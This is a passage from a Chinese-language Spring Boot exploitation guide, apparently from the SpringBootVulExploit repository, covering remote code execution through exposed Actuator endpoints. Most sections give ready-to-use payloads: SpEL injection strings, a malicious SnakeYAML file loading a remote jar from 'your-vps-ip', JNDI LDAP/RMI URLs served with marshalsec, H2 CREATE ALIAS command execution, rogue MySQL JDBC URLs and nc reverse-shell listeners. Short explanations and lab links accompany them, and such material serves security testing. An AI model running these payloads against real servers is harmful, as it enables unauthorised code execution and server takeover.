print(result.rstrip(',')) 719 | ``` 720 | 721 | 执行 `open -a Calculator` 命令 722 | 723 | ```java 724 | ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))} 725 | ``` 726 | 727 | 728 | 729 | #### 漏洞原理: 730 | 731 | 1. spring boot 处理参数值出错,流程进入 `org.springframework.util.PropertyPlaceholderHelper` 类中 732 | 2. 此时 URL 中的参数值会用 `parseStringValue` 方法进行递归解析 733 | 3. 其中 `${}` 包围的内容都会被 `org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration` 类的 `resolvePlaceholder` 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞 734 | 735 | 736 | 737 | #### 漏洞分析: 738 | 739 | [SpringBoot SpEL表达式注入漏洞-分析与复现](https://www.cnblogs.com/litlife/p/10183137.html) 740 | 741 | 742 | 743 | #### 漏洞环境: 744 | 745 | [repository/springboot-spel-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce) 746 | 747 | 正常访问: 748 | 749 | ``` 750 | http://127.0.0.1:9091/article?id=66 751 | ``` 752 | 753 | 执行 `open -a Calculator` 命令: 754 | 755 | ```java 756 | http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))} 757 | ``` 758 | 759 | 760 | 761 | ### 0x02:spring cloud SnakeYAML RCE 762 | 763 | #### 利用条件: 764 | 765 | - 可以 POST 请求目标网站的 `/env` 接口设置属性 766 | - 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 `spring-boot-starter-actuator` 依赖) 767 | - 目标依赖的 `spring-cloud-starter` 版本 < 1.3.0.RELEASE 768 | - 目标可以请求攻击者的 HTTP 服务器(请求可出外网) 769 | 770 | 771 | 772 | #### 利用方法: 773 | 774 | ##### 步骤一: 托管 yml 和 jar 文件 775 | 776 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443) 777 | 778 | ```bash 779 | # 使用 python 快速开启 http server 780 | 781 | python2 -m SimpleHTTPServer 80 782 | python3 -m http.server 80 783 | ``` 784 | 785 | 786 | 787 | 在网站根目录下放置后缀为 `yml` 的文件 `example.yml`,内容如下: 788 | 789 | ```yaml 790 | !!javax.script.ScriptEngineManager [ 791 | !!java.net.URLClassLoader [[ 792 | !!java.net.URL ["http://your-vps-ip/example.jar"] 793 | ]] 794 | ] 795 | ``` 796 | 797 | 798 | 799 | 在网站根目录下放置后缀为 `jar` 的文件 `example.jar`,内容是要执行的代码,代码编写及编译方式参考 [yaml-payload](https://github.com/artsploit/yaml-payload)。 800 | 801 | 802 | 803 | ##### 步骤二: 设置 spring.cloud.bootstrap.location 属性 804 | 805 | spring 1.x 806 | 807 | ``` 808 | POST /env 809 | Content-Type: application/x-www-form-urlencoded 810 | 811 | spring.cloud.bootstrap.location=http://your-vps-ip/example.yml 812 | ``` 813 | 814 | spring 2.x 815 | 816 | ``` 817 | POST /actuator/env 818 | Content-Type: application/json 819 | 820 | {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"} 821 | ``` 822 | 823 | 824 | 825 | ##### 步骤三: 刷新配置 826 | 827 | spring 1.x 828 | 829 | ``` 830 | POST /refresh 831 | Content-Type: application/x-www-form-urlencoded 832 | 833 | ``` 834 | 835 | spring 2.x 836 | 837 | ``` 838 | POST /actuator/refresh 839 | Content-Type: application/json 840 | 841 | ``` 842 | 843 | 844 | 845 | #### 漏洞原理: 846 | 847 | 1. spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址 848 | 2. refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件,获得其内容 849 | 3. SnakeYAML 由于存在反序列化漏洞,所以解析恶意 yml 内容时会完成指定的动作 850 | 4. 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件 851 | 5. 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化 852 | 6. 实例化类时执行恶意代码,造成 RCE 漏洞 853 | 854 | 855 | 856 | #### 漏洞分析: 857 | 858 | [Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记](https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/) 859 | 860 | 861 | 862 | #### 漏洞环境: 863 | 864 | [repository/springcloud-snakeyaml-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springcloud-snakeyaml-rce) 865 | 866 | 正常访问: 867 | 868 | ``` 869 | http://127.0.0.1:9092/env 870 | ``` 871 | 872 | 873 | 874 | ### 0x03:eureka xstream deserialization RCE 875 | 876 | #### 利用条件: 877 | 878 | - 可以 POST 请求目标网站的 `/env` 接口设置属性 879 | - 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 `spring-boot-starter-actuator` 依赖) 880 | - 目标使用的 `eureka-client` < 1.8.7(通常包含在 `spring-cloud-starter-netflix-eureka-client` 依赖中) 881 | - 目标可以请求攻击者的 HTTP 服务器(请求可出外网) 882 | 883 | 884 | 885 | #### 利用方法: 886 | 887 | ##### 步骤一:架设响应恶意 XStream payload 的网站 888 | 889 | 提供一个依赖 Flask 并符合要求的 [python 脚本示例](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py),作用是利用目标 Linux 机器上自带的 python 来反弹shell。 890 | 891 | 使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。 892 | 893 | 894 | 895 | ##### 步骤二:监听反弹 shell 的端口 896 | 897 | 一般使用 nc 监听端口,等待反弹 shell 898 | 899 | ```bash 900 | nc -lvp 443 901 | ``` 902 | 903 | 904 | 905 | ##### 步骤三:设置 eureka.client.serviceUrl.defaultZone 属性 906 | 907 | spring 1.x 908 | 909 | ``` 910 | POST /env 911 | Content-Type: application/x-www-form-urlencoded 912 | 913 | eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example 914 | ``` 915 | 916 | spring 2.x 917 | 918 | ``` 919 | POST /actuator/env 920 | Content-Type: application/json 921 | 922 | {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"} 923 | ``` 924 | 925 | 926 | 927 | ##### 步骤四:刷新配置 928 | 929 | spring 1.x 930 | 931 | ``` 932 | POST /refresh 933 | Content-Type: application/x-www-form-urlencoded 934 | 935 | ``` 936 | 937 | spring 2.x 938 | 939 | ``` 940 | POST /actuator/refresh 941 | Content-Type: application/json 942 | 943 | ``` 944 | 945 | 946 | 947 | #### 漏洞原理: 948 | 949 | 1. eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址 950 | 2. refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload 951 | 3. 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞 952 | 953 | 954 | 955 | #### 漏洞分析: 956 | 957 | [Spring Boot Actuator从未授权访问到getshell](https://www.freebuf.com/column/234719.html) 958 | 959 | 960 | 961 | #### 漏洞环境: 962 | 963 | [repository/springboot-eureka-xstream-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-eureka-xstream-rce) 964 | 965 | 正常访问: 966 | 967 | ``` 968 | http://127.0.0.1:9093/env 969 | ``` 970 | 971 | 972 | 973 | ### 0x04:jolokia logback JNDI RCE 974 | 975 | #### 利用条件: 976 | 977 | - 目标网站存在 `/jolokia` 或 `/actuator/jolokia` 接口 978 | - 目标使用了 `jolokia-core` 依赖(版本要求暂未知)并且环境中存在相关 MBean 979 | - 目标可以请求攻击者的 HTTP 服务器(请求可出外网) 980 | 981 | - 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过 982 | 983 | 984 | 985 | #### 利用方法: 986 | 987 | ##### 步骤一:查看已存在的 MBeans 988 | 989 | 访问 `/jolokia/list` 接口,查看是否存在 `ch.qos.logback.classic.jmx.JMXConfigurator` 和 `reloadByURL` 关键词。 990 | 991 | 992 | 993 | ##### 步骤二:托管 xml 文件 994 | 995 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443) 996 | 997 | ```bash 998 | # 使用 python 快速开启 http server 999 | 1000 | python2 -m SimpleHTTPServer 80 1001 | python3 -m http.server 80 1002 | ``` 1003 | 1004 | 1005 | 1006 | 在根目录放置以 `xml` 结尾的 `example.xml` 文件,内容如下: 1007 | 1008 | ```xml 1009 | <configuration> 1010 | <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" /> 1011 | </configuration> 1012 | ``` 1013 | 1014 | 1015 | 1016 | ##### 步骤三:准备要执行的 Java 代码 1017 | 1018 | 编写优化过后的用来反弹 shell 的 [Java 示例代码](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java`, 1019 | 1020 | 使用兼容低版本 jdk 的方式编译: 1021 | 1022 | ```bash 1023 | javac -source 1.5 -target 1.5 JNDIObject.java 1024 | ``` 1025 | 1026 | 然后将生成的 `JNDIObject.class` 文件拷贝到 **步骤二** 中的网站根目录。 1027 | 1028 | 1029 | 1030 | ##### 步骤四:架设恶意 ldap 服务 1031 | 1032 | 下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 ldap 服务: 1033 | 1034 | ```bash 1035 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389 1036 | ``` 1037 | 1038 | 1039 | 1040 | ##### 步骤五:监听反弹 shell 的端口 1041 | 1042 | 一般使用 nc 监听端口,等待反弹 shell 1043 | 1044 | ```bash 1045 | nc -lv 443 1046 | ``` 1047 | 1048 | 1049 | 1050 | ##### 步骤六:从外部 URL 地址加载日志配置文件 1051 | 1052 | > ⚠️ 如果目标成功请求了example.xml 并且 marshalsec 也接收到了目标请求,但是目标没有请求 JNDIObject.class,大概率是因为目标环境的 jdk 版本太高,导致 JNDI 利用失败。 1053 | 1054 | 替换实际的 your-vps-ip 地址访问 URL 触发漏洞: 1055 | 1056 | ``` 1057 | /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml 1058 | ``` 1059 | 1060 | 1061 | 1062 | #### 漏洞原理: 1063 | 1064 | 1. 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 `ch.qos.logback.classic.jmx.JMXConfigurator` 类的 `reloadByURL` 方法 1065 | 2. 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容 1066 | 3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞) 1067 | 4. xml 文件中利用 `logback` 依赖的 `insertFormJNDI` 标签,设置了外部 JNDI 服务器地址 1068 | 5. 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞 1069 | 1070 | 1071 | 1072 | #### 漏洞分析: 1073 | 1074 | [spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258) 1075 | 1076 | 1077 | 1078 | #### 漏洞环境: 1079 | 1080 | [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce) 1081 | 1082 | 正常访问: 1083 | 1084 | ``` 1085 | http://127.0.0.1:9094/env 1086 | ``` 1087 | 1088 | 1089 | 1090 | ### 0x05:jolokia Realm JNDI RCE 1091 | 1092 | #### 利用条件: 1093 | 1094 | - 目标网站存在 `/jolokia` 或 `/actuator/jolokia` 接口 1095 | - 目标使用了 `jolokia-core` 依赖(版本要求暂未知)并且环境中存在相关 MBean 1096 | - 目标可以请求攻击者的服务器(请求可出外网) 1097 | - 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过 1098 | 1099 | 1100 | 1101 | #### 利用方法: 1102 | 1103 | ##### 步骤一:查看已存在的 MBeans 1104 | 1105 | 访问 `/jolokia/list` 接口,查看是否存在 `type=MBeanFactory` 和 `createJNDIRealm` 关键词。 1106 | 1107 | 1108 | 1109 | ##### 步骤二:准备要执行的 Java 代码 1110 | 1111 | 编写优化过后的用来反弹 shell 的 [Java 示例代码](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java`。 1112 | 1113 | 1114 | 1115 | ##### 步骤三:托管 class 文件 1116 | 1117 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443) 1118 | 1119 | ```bash 1120 | # 使用 python 快速开启 http server 1121 | 1122 | python2 -m SimpleHTTPServer 80 1123 | python3 -m http.server 80 1124 | ``` 1125 | 1126 | 将**步骤二**中编译好的 class 文件拷贝到 HTTP 服务器根目录。 1127 | 1128 | 1129 | 1130 | ##### 步骤四:架设恶意 rmi 服务 1131 | 1132 | 下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 rmi 服务: 1133 | 1134 | ```bash 1135 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389 1136 | ``` 1137 | 1138 | 1139 | 1140 | ##### 步骤五:监听反弹 shell 的端口 1141 | 1142 | 一般使用 nc 监听端口,等待反弹 shell 1143 | 1144 | ```bash 1145 | nc -lvp 443 1146 | ``` 1147 | 1148 | 1149 | 1150 | ##### 步骤六:发送恶意 payload 1151 | 1152 | 根据实际情况修改 [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) 脚本中的目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行。 1153 | 1154 | 1155 | 1156 | #### 漏洞原理: 1157 | 1158 | 1. 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm 1159 | 2. 设置 connectionURL 地址为 RMI Service URL 1160 | 3. 设置 contextFactory 为 RegistryContextFactory 1161 | 4. 停止 Realm 1162 | 5. 启动 Realm 以触发指定 RMI 地址的 JNDI 注入,造成 RCE 漏洞 1163 | 1164 | 1165 | 1166 | #### 漏洞分析: 1167 | 1168 | [Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html) 1169 | 1170 | 1171 | 1172 | #### 漏洞环境: 1173 | 1174 | [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce) 1175 | 1176 | 正常访问: 1177 | 1178 | ``` 1179 | http://127.0.0.1:9094/env 1180 | ``` 1181 | 1182 | 1183 | 1184 | ### 0x06:restart h2 database query RCE 1185 | 1186 | #### 利用条件: 1187 | 1188 | - 可以 POST 请求目标网站的 `/env` 接口设置属性 1189 | - 可以 POST 请求目标网站的 `/restart` 接口重启应用 1190 | - 存在 `com.h2database.h2` 依赖(版本要求暂未知) 1191 | 1192 | 1193 | 1194 | #### 利用方法: 1195 | 1196 | ##### 步骤一:设置 spring.datasource.hikari.connection-test-query 属性 1197 | 1198 | > ⚠️ 下面payload 中的 'T5' 方法每一次执行命令后都需要更换名称 (如 T6) ,然后才能被重新创建使用,否则下次 restart 重启应用时漏洞不会被触发 1199 | 1200 | 1201 | 1202 | spring 1.x(无回显执行命令) 1203 | 1204 | ``` 1205 | POST /env 1206 | Content-Type: application/x-www-form-urlencoded 1207 | 1208 | spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc'); 1209 | ``` 1210 | 1211 | spring 2.x(无回显执行命令) 1212 | 1213 | ``` 1214 | POST /actuator/env 1215 | Content-Type: application/json 1216 | 1217 | {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"} 1218 | ``` 1219 | 1220 | 1221 | 1222 | ##### 步骤二:重启应用 1223 | 1224 | spring 1.x 1225 | 1226 | ``` 1227 | POST /restart 1228 | Content-Type: application/x-www-form-urlencoded 1229 | 1230 | ``` 1231 | 1232 | spring 2.x 1233 | 1234 | ``` 1235 | POST /actuator/restart 1236 | Content-Type: application/json 1237 | 1238 | ``` 1239 | 1240 | 1241 | 1242 | #### 漏洞原理: 1243 | 1244 | 1. spring.datasource.hikari.connection-test-query 属性被设置为一条恶意的 `CREATE ALIAS` 创建自定义函数的 SQL 语句 1245 | 2. 其属性对应 HikariCP 数据库连接池的 connectionTestQuery 配置,定义一个新数据库连接之前被执行的 SQL 语句 1246 | 3. restart 重启应用,会建立新的数据库连接 1247 | 4. 如果 SQL 语句中的自定义函数还没有被执行过,那么自定义函数就会被执行,造成 RCE 漏洞 1248 | 1249 | 1250 | 1251 | #### 漏洞分析: 1252 | 1253 | [remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) 1254 | 1255 | 1256 | 1257 | #### 漏洞环境: 1258 | 1259 | [repository/springboot-h2-database-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-h2-database-rce) 1260 | 1261 | 正常访问: 1262 | 1263 | ``` 1264 | http://127.0.0.1:9096/actuator/env 1265 | ``` 1266 | 1267 | 1268 | 1269 | ### 0x07:h2 database console JNDI RCE 1270 | 1271 | #### 利用条件: 1272 | 1273 | - 存在 `com.h2database.h2` 依赖(版本要求暂未知) 1274 | - spring 配置中启用 h2 console `spring.h2.console.enabled=true` 1275 | - 目标可以请求攻击者的服务器(请求可出外网) 1276 | - JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式) 1277 | 1278 | 1279 | 1280 | #### 利用方法: 1281 | 1282 | ##### 步骤一:访问路由获得 jsessionid 1283 | 1284 | 直接访问目标开启 h2 console 的默认路由 `/h2-console`,目标会跳转到页面 `/h2-console/login.jsp?jsessionid=xxxxxx`,记录下实际的 `jsessionid=xxxxxx` 值。 1285 | 1286 | 1287 | 1288 | ##### 步骤二:准备要执行的 Java 代码 1289 | 1290 | 编写优化过后的用来反弹 shell 的 [Java 示例代码](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java`, 1291 | 1292 | 使用兼容低版本 jdk 的方式编译: 1293 | 1294 | ```bash 1295 | javac -source 1.5 -target 1.5 JNDIObject.java 1296 | ``` 1297 | 1298 | 然后将生成的 `JNDIObject.class` 文件拷贝到 **步骤二** 中的网站根目录。 1299 | 1300 | 1301 | 1302 | ##### 步骤三:托管 class 文件 1303 | 1304 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443) 1305 | 1306 | ```bash 1307 | # 使用 python 快速开启 http server 1308 | 1309 | python2 -m SimpleHTTPServer 80 1310 | python3 -m http.server 80 1311 | ``` 1312 | 1313 | 将**步骤二**中编译好的 class 文件拷贝到 HTTP 服务器根目录。 1314 | 1315 | 1316 | 1317 | ##### 步骤四:架设恶意 ldap 服务 1318 | 1319 | 下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 ldap 服务: 1320 | 1321 | ```bash 1322 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389 1323 | ``` 1324 | 1325 | 1326 | 1327 | ##### 步骤五:监听反弹 shell 的端口 1328 | 1329 | 一般使用 nc 监听端口,等待反弹 shell 1330 | 1331 | ```bash 1332 | nc -lv 443 1333 | ``` 1334 | 1335 | 1336 | 1337 | ##### 步骤六:发包触发 JNDI 注入 1338 | 1339 | 根据实际情况,替换下面数据中的 `jsessionid=xxxxxx`、`www.example.com` 和 `ldap://your-vps-ip:1389/JNDIObject` 1340 | 1341 | ```bash 1342 | POST /h2-console/login.do?jsessionid=xxxxxx 1343 | Host: www.example.com 1344 | Content-Type: application/x-www-form-urlencoded 1345 | Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx 1346 | 1347 | language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password= 1348 | ``` 1349 | 1350 | 1351 | 1352 | #### 漏洞分析: 1353 | 1354 | [Spring Boot + H2数据库JNDI注入](https://mp.weixin.qq.com/s/Yn5U8WHGJZbTJsxwUU3UiQ) 1355 | 1356 | 1357 | 1358 | #### 漏洞环境: 1359 | 1360 | [repository/springboot-h2-database-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-h2-database-rce) 1361 | 1362 | 正常访问: 1363 | 1364 | ``` 1365 | http://127.0.0.1:9096/h2-console 1366 | ``` 1367 | 1368 | 1369 | 1370 | ### 0x08:mysql jdbc deserialization RCE 1371 | 1372 | #### 利用条件: 1373 | 1374 | - 可以 POST 请求目标网站的 `/env` 接口设置属性 1375 | - 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 `spring-boot-starter-actuator` 依赖) 1376 | - 目标环境中存在 `mysql-connector-java` 依赖 1377 | - 目标可以请求攻击者的服务器(请求可出外网) 1378 | 1379 | 1380 | 1381 | #### 利用方法: 1382 | 1383 | ##### 步骤一:查看环境依赖 1384 | 1385 | GET 请求 `/env` 或 `/actuator/env`,搜索环境变量(classpath)中是否有 `mysql-connector-java` 关键词,并记录下其版本号(5.x 或 8.x); 1386 | 1387 | 搜索并观察环境变量中是否存在常见的反序列化 gadget 依赖,比如 `commons-collections`、`Jdk7u21`、`Jdk8u20` 等; 1388 | 1389 | 搜索 `spring.datasource.url` 关键词,记录下其 `value` 值,方便后续恢复其正常 jdbc url 值。 1390 | 1391 | 1392 | 1393 | ##### 步骤二:架设恶意 rogue mysql server 1394 | 1395 | 在自己控制的服务器上运行 [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) 脚本,并使用 [ysoserial](https://github.com/frohoff/ysoserial) 自定义要执行的命令: 1396 | 1397 | ```bash 1398 | java -jar ysoserial.jar CommonsCollections3 calc > payload.ser 1399 | ``` 1400 | 1401 | 在脚本**同目录下**生成 `payload.ser` 反序列化 payload 文件,供脚本使用。 1402 | 1403 | 1404 | 1405 | ##### 步骤三:设置 spring.datasource.url 属性 1406 | 1407 | > ⚠️ 修改此属性会暂时导致网站所有的正常数据库服务不可用,会对业务造成影响,请谨慎操作! 1408 | 1409 | 1410 | 1411 | mysql-connector-java 5.x 版本设置**属性值**为: 1412 | 1413 | ``` 1414 | jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true 1415 | ``` 1416 | 1417 | mysql-connector-java 8.x 版本设置**属性值**为: 1418 | 1419 | ``` 1420 | jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true 1421 | ``` 1422 | 1423 | 1424 | 1425 | spring 1.x 1426 | 1427 | ``` 1428 | POST /env 1429 | Content-Type: application/x-www-form-urlencoded 1430 | 1431 | spring.datasource.url=对应属性值 1432 | ``` 1433 | 1434 | spring 2.x 1435 | 1436 | ``` 1437 | POST /actuator/env 1438 | Content-Type: application/json 1439 | 1440 | {"name":"spring.datasource.url","value":"对应属性值"} 1441 | ``` 1442 | 1443 | 1444 | 1445 | ##### 步骤四:刷新配置 1446 | 1447 | spring 1.x 1448 | 1449 | ``` 1450 | POST /refresh 1451 | Content-Type: application/x-www-form-urlencoded 1452 | 1453 | ``` 1454 | 1455 | spring 2.x 1456 | 1457 | ``` 1458 | POST /actuator/refresh 1459 | Content-Type: application/json 1460 | 1461 | ``` 1462 | 1463 | 1464 | 1465 | ##### 步骤五:触发数据库查询 1466 | 1467 | 尝试访问网站已知的数据库查询的接口,例如: `/product/list` ,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发 1468 | 1469 | 1470 | 1471 | ##### 步骤六:恢复正常 jdbc url 1472 | 1473 | 反序列化漏洞利用完成后,使用 **步骤三** 的方法恢复 **步骤一** 中记录的 `spring.datasource.url` 的原始 `value` 值 1474 | 1475 | 1476 | 1477 | #### 漏洞原理: 1478 | 1479 | 1. spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址 1480 | 2. refresh 刷新后设置了一个新的 spring.datasource.url 属性值 1481 | 3. 当网站进行数据库查询等操作时,会尝试使用恶意 mysql jdbc url 建立新的数据库连接 1482 | 4. 然后恶意 mysql server 就会在建立连接的合适阶段返回反序列化 payload 数据 1483 | 5. 目标依赖的 mysql-connector-java 就会反序列化设置好的 gadget,造成 RCE 漏洞 1484 | 1485 | 1486 | 1487 | #### 漏洞分析: 1488 | 1489 | [New-Exploit-Technique-In-Java-Deserialization-Attack](https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf) 1490 | 1491 | 1492 | 1493 | #### 漏洞环境: 1494 | 1495 | > 需要配置 application.properties 中的 spring.datasource.url、spring.datasource.username、spring.datasource.password,保证可以正常连上 mysql 数据库,否则程序启动时就会报错退出 1496 | 1497 | [repository/springboot-mysql-jdbc-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-mysql-jdbc-rce) 1498 | 1499 | 正常访问: 1500 | 1501 | ``` 1502 | http://127.0.0.1:9097/actuator/env 1503 | ``` 1504 | 1505 | 发送完 payload 后触发漏洞: 1506 | 1507 | ``` 1508 | http://127.0.0.1:9097/product/list 1509 | ``` 1510 | 1511 | 1512 | 1513 | ### 0x09:restart logging.config logback JNDI RCE 1514 | 1515 | #### 利用条件: 1516 | 1517 | - 可以 POST 请求目标网站的 `/env` 接口设置属性 1518 | - 可以 POST 请求目标网站的 `/restart` 接口重启应用 1519 | - 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过 1520 | - ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出 1521 | - ⚠️ HTTP 服务器如果返回含有畸形 xml 语法内容的文件,会导致程序异常退出 1522 | - ⚠️ JNDI 服务返回的 object 需要实现 `javax.naming.spi.ObjectFactory` 接口,否则会导致程序异常退出 1523 | 1524 | 1525 | 1526 | #### 利用方法: 1527 | 1528 | ##### 步骤一:托管 xml 文件 1529 | 1530 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443) 1531 | 1532 | ```bash 1533 | # 使用 python 快速开启 http server 1534 | 1535 | python2 -m SimpleHTTPServer 80 1536 | python3 -m http.server 80 1537 | ``` 1538 | 1539 | 1540 | 1541 | 在根目录放置以 `xml` 结尾的 `example.xml` 文件,实际内容要根据步骤二中使用的 JNDI 服务来确定: 1542 | 1543 | ```xml 1544 | <configuration> 1545 | <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" /> 1546 | </configuration> 1547 | ``` 1548 | 1549 | 1550 | 1551 | ##### 步骤二:托管恶意 ldap 服务及代码 1552 | 1553 | 参考[文章](https://landgrey.me/blog/21/),修改 [JNDIExploit](https://github.com/feihong-cs/JNDIExploit) 并启动(也可以使用其他方法): 1554 | 1555 | ```bash 1556 | java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip 1557 | ``` 1558 | 1559 | 1560 | 1561 | ##### 步骤三:设置 logging.config 属性 1562 | 1563 | spring 1.x 1564 | 1565 | ``` 1566 | POST /env 1567 | Content-Type: application/x-www-form-urlencoded 1568 | 1569 | logging.config=http://your-vps-ip/example.xml 1570 | ``` 1571 | 1572 | spring 2.x 1573 | 1574 | ``` 1575 | POST /actuator/env 1576 | Content-Type: application/json 1577 | 1578 | {"name":"logging.config","value":"http://your-vps-ip/example.xml"} 1579 | ``` 1580 | 1581 | 1582 | 1583 | ##### 步骤四:重启应用 1584 | 1585 | spring 1.x 1586 | 1587 | ``` 1588 | POST /restart 1589 | Content-Type: application/x-www-form-urlencoded 1590 | 1591 | ``` 1592 | 1593 | spring 2.x 1594 | 1595 | ``` 1596 | POST /actuator/restart 1597 | Content-Type: application/json 1598 | 1599 | ``` 1600 | 1601 | 1602 | 1603 | #### 漏洞原理: 1604 | 1605 | 1. 目标机器通过 logging.config 属性设置 logback 日志配置文件 URL 地址 1606 | 2. restart 重启应用后,程序会请求 URL 地址获得恶意 xml 文件内容 1607 | 3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞) 1608 | 4. xml 文件中利用 `logback` 依赖的 `insertFormJNDI` 标签,设置了外部 JNDI 服务器地址 1609 | 5. 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞 1610 | 1611 | 1612 | 1613 | #### 漏洞分析: 1614 | 1615 | 